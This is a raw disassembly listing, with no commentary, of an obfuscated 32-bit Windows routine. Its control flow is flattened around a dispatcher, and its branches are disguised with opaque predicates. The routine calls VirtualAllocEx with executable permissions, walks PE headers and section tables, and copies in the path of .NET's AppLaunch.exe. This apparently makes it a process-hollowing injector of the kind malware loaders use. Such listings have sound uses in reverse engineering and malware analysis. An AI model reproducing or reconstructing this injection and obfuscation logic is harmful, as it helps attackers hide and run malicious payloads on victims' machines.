not eax
or eax, 0xdfffffff
cmp eax, 0xffffffff
mov eax, 0x5ba30b56
setne byte [ebp - 0x49887]
jmp 0x4015f0
mov eax, 0x11e26fbd
jmp 0x4015f0
mov edx, dword [0x4ad3e8]
mov ecx, dword [0x4ad3e4]
mov edi, 0x5f1d68e5
lea eax, [edx + 1]
imul eax, edx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0xab5fdca0
cmovne edx, edi
cmp eax, 0xffffffff
mov eax, edx
cmove eax, edi
cmp ecx, 0xa
cmovge eax, edx
jmp 0x4015f0
mov eax, 0xfbfd434d
jmp 0x4015f0
mov eax, dword [ebp - 0x49824]
mov eax, 0x28da9e98
jmp 0x4015f0
mov eax, dword [0x4ad3e8]
mov edi, 0xe56f47a9
mov ebx, 0x747d6a5f
lea ecx, [eax + 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
mov ecx, 0x747d6a5f
jmp 0x40538d
push 0x40
push 0x3000
push dword [ebp - 0x49924]
push 0
push dword [ebp - 0x49928]
vzeroupper
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov ecx, dword [ebp - 0x498c8]
mov dword [ecx], eax
mov eax, dword [ebp - 0x498c8]
mov eax, 0xd09d75be
jmp 0x4015f0
mov eax, dword [0x4ad3e8]
mov ebx, 0x92b01196
mov edi, 0x9dfef50b
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0x9dfef50b
jmp 0x405480
cmp byte [ebp - 0x49884], 0
mov eax, 0xd69c653a
mov ecx, 0xc954a953
cmovne eax, ecx
jmp 0x4015f0
mov eax, dword [ebp - 0x49824]
mov ebx, 0xac9deacc
mov edi, 0x931b9775
mov eax, dword [eax]
mov ecx, eax
xor ecx, 0xbfffffff
and ecx, eax
mov eax, dword [0x4ad3e8]
mov dword [ebp - 0x499ac], ecx
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov ecx, 0x931b9775
jmp 0x4015d3
mov eax, dword [0x4ad3e8]
mov edi, 0x3a853cb2
mov ebx, 0x689d7e8d
lea ecx, [eax + 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
mov ecx, 0x689d7e8d
sete al
cmove ecx, edi
cmp dword [0x4ad3e4], 0xa
setl dl
cmovge ecx, ebx
xor dl, al
cmovne ecx, edi
mov eax, ecx
jmp 0x4015f0
mov eax, dword [ebp - 0x49874]
mov eax, dword [ebp - 0x498c0]
mov eax, 0x5aca544
jmp 0x4015f0
mov edx, dword [0x4ad3e8]
mov ecx, dword [0x4ad3e4]
mov edi, 0xd996f575
lea eax, [edx + 1]
imul eax, edx
mov edx, eax
xor edx, 0xfffffffe
test edx, eax
sete bl
cmp ecx, 0xa
setl bh
xor bh, bl
mov ebx, 0xc21a5721
cmovne edi, ebx
test edx, eax
mov eax, edi
cmove eax, ebx
cmp ecx, 0xa
movzx ecx, word [ebp - 0x498b0]
cmovge eax, edi
mov edx, ecx
xor edx, 0xfffff000
and edx, ecx
movzx ecx, dx
add ecx, dword [ebp - 0x498ac]
mov dword [ebp - 0x49968], ecx
jmp 0x4015f0
cmp byte [ebp - 0x49886], 0
mov eax, 0x167aab5c
mov ecx, 0x9f7c061c
cmovne eax, ecx
jmp 0x4015f0
mov eax, 0xd0f9470a
jmp 0x4015f0
mov eax, dword [ebp - 0x4981c]
mov ebx, 0x68217f29
mov edi, 0xe23660d1
mov eax, dword [eax]
mov ecx, dword [ebp - 0x49854]
add eax, dword [ecx]
mov dword [ebp - 0x498e8], eax
mov eax, dword [0x4ad3e8]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, 0xe23660d1
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete cl
cmove eax, ebx
cmp dword [0x4ad3e4], 0xa
setl dl
cmovge eax, edi
xor dl, cl
cmovne eax, ebx
jmp 0x4015f0
cmp byte [ebp - 0x49885], 0
mov eax, 0x5072f5c2
mov ecx, 0x66b4341f
cmovne eax, ecx
jmp 0x4015f0
mov eax, 0x15f5fb5d
jmp 0x4015f0
mov eax, 0x8aa72371
jmp 0x4015f0
mov eax, dword [0x4ad3e8]
mov ebx, 0x939b6f59
mov edi, 0xab233576
lea ecx, [eax + 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
mov ecx, 0xab233576
jmp 0x4015d3
mov eax, dword [ebp - 0x4981c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x4982c]
mov ecx, dword [ecx]
add eax, dword [ecx]
mov ecx, dword [ebp - 0x498a0]
mov dword [ecx], eax
mov eax, dword [ebp - 0x49890]
mov eax, dword [ebp - 0x4982c]
mov eax, 0xb6ae7ab4
jmp 0x4015f0
mov eax, 0xc443a380
jmp 0x4015f0
mov eax, dword [ebp - 0x49828]
mov dword [eax], 0xa
mov eax, 0x6e3d32b0
jmp 0x4015f0
mov eax, dword [ebp - 0x4985c]
mov dword [eax], 0x40
mov eax, dword [ebp - 0x49824]
mov eax, dword [ebp - 0x49838]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x49834]
mov ecx, dword [ecx]
lea ecx, [ecx + ecx*4]
mov eax, dword [eax + ecx*8 + 0x24]
mov ecx, dword [ebp - 0x49824]
mov dword [ecx], eax
mov eax, 0x1c08a357
jmp 0x4015f0
mov eax, 0xad20a4f0
jmp 0x4015f0
mov eax, 0xfe21cf7
jmp 0x4015f0
mov eax, 0x91360ede
jmp 0x4015f0
mov eax, dword [ebp - 0x49844]
mov ebx, 0xb8184050
mov edi, 0xca06fb13
mov eax, dword [eax]
mov dword [ebp - 0x4996c], eax
mov eax, dword [0x4ad3e8]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov ecx, 0xca06fb13
jmp 0x4015d3
cmp byte [ebp - 0x4988a], 0
mov eax, 0x1c37b109
mov ecx, 0x42d539ff
cmovne eax, ecx
jmp 0x4015f0
mov eax, 0xea234cdc
jmp 0x4015f0
mov edx, dword [0x4ad3e8]
mov eax, dword [0x4ad3e4]
mov edi, 0x23158d69
lea ecx, [edx + 1]
imul ecx, edx
mov edx, ecx
xor edx, 0xfffffffe
test edx, ecx
sete bl
cmp eax, 0xa
setl bh
xor bh, bl
mov ebx, 0xe4875092
jmp 0x40564d
mov edx, dword [0x4ad3e8]
mov eax, dword [0x4ad3e4]
mov edi, 0x747d6a5f
lea ecx, [edx + 1]
imul ecx, edx
mov edx, ecx
xor edx, 0xfffffffe
test edx, ecx
sete bl
cmp eax, 0xa
setl bh
xor bh, bl
mov ebx, 0x123a9665
cmovne edi, ebx
test edx, ecx
mov ecx, edi
cmove ecx, ebx
cmp eax, 0xa
cmovge ecx, edi
mov eax, ecx
jmp 0x4015f0
mov eax, dword [ebp - 0x49828]
mov dword [eax], 2
mov eax, 0x92b01196
jmp 0x4015f0
mov eax, dword [ebp - 0x499c0]
mov ecx, dword [ebp - 0x499bc]
vmovups ymm0, ymmword [0x4a0a88]
vmovups ymm1, ymmword [0x4a0a70]
vmovups ymm2, ymmword [0x4a0a50]
mov dword [eax], ecx
mov eax, dword [ebp - 0x4981c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x4987c]
mov ecx, dword [ecx]
mov dword [ecx + 0x18], eax
mov eax, dword [ebp - 0x49848]
mov eax, dword [ebp - 0x4987c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x49848]
add eax, 0x24
mov dword [ecx], eax
mov ecx, 0xcfdf8468
mov eax, dword [ebp - 0x49880]
mov eax, dword [ebp - 0x49880]
vmovups ymmword [eax + 0x58], ymm0
vmovups ymmword [eax + 0x40], ymm1
vmovups ymm1, ymmword [str.C:WindowsMicrosoft.NETFramework_v4.0.30319AppLaunch.exe]
vmovups ymmword [eax + 0x20], ymm2
vmovups ymmword [eax], ymm1
mov eax, dword [ebp - 0x498a4]
mov eax, dword [ebp - 0x49820]
mov eax, dword [eax]
cmp dword [eax + 0xe8], 0
mov eax, dword [ebp - 0x498a4]
setne byte [eax]
mov eax, dword [ebp - 0x49898]
mov eax, dword [ebp - 0x498a4]
cmp byte [eax], 0
mov eax, 0x7c4f16a9
cmove eax, ecx
jmp 0x4015f0
mov eax, dword [ebp - 0x49858]
mov eax, dword [ebp - 0x4983c]
mov eax, 0x8163d1f7
jmp 0x4015f0
mov eax, dword [ebp - 0x49844]
mov eax, dword [eax]
movzx eax, word [eax]
mov word [ebp - 0x498ae], ax
mov eax, 0xdc0abdc7
jmp 0x4015f0
cmp byte [ebp - 0x49888], 0
mov eax, 0x82828887
mov ecx, 0x13c13e94
cmovne eax, ecx
jmp 0x4015f0
mov eax, dword [ebp - 0x498b4]
mov eax, dword [ebp - 0x498b4]
lea ecx, [ebp - 0x49810]
mov dword [eax], ecx
mov eax, dword [ebp - 0x49820]
mov eax, dword [ebp - 0x498b4]
mov eax, dword [eax]
mov eax, dword [eax + 0x3c]
add eax, ecx
mov ecx, dword [ebp - 0x49820]
mov dword [ecx], eax
mov ecx, 0x9aac935
mov eax, dword [ebp - 0x49820]
mov eax, dword [eax]
cmp dword [eax], 0x4550
mov eax, 0xb871f7ee
cmove eax, ecx
jmp 0x4015f0
cmp eax, 0x64e3b0cc
jne 0x4015f0
mov eax, dword [ebp - 0x498b4]
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
vzeroupper
call fcn.00438170
mov eax, dword [ebp - 0x498d4]
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret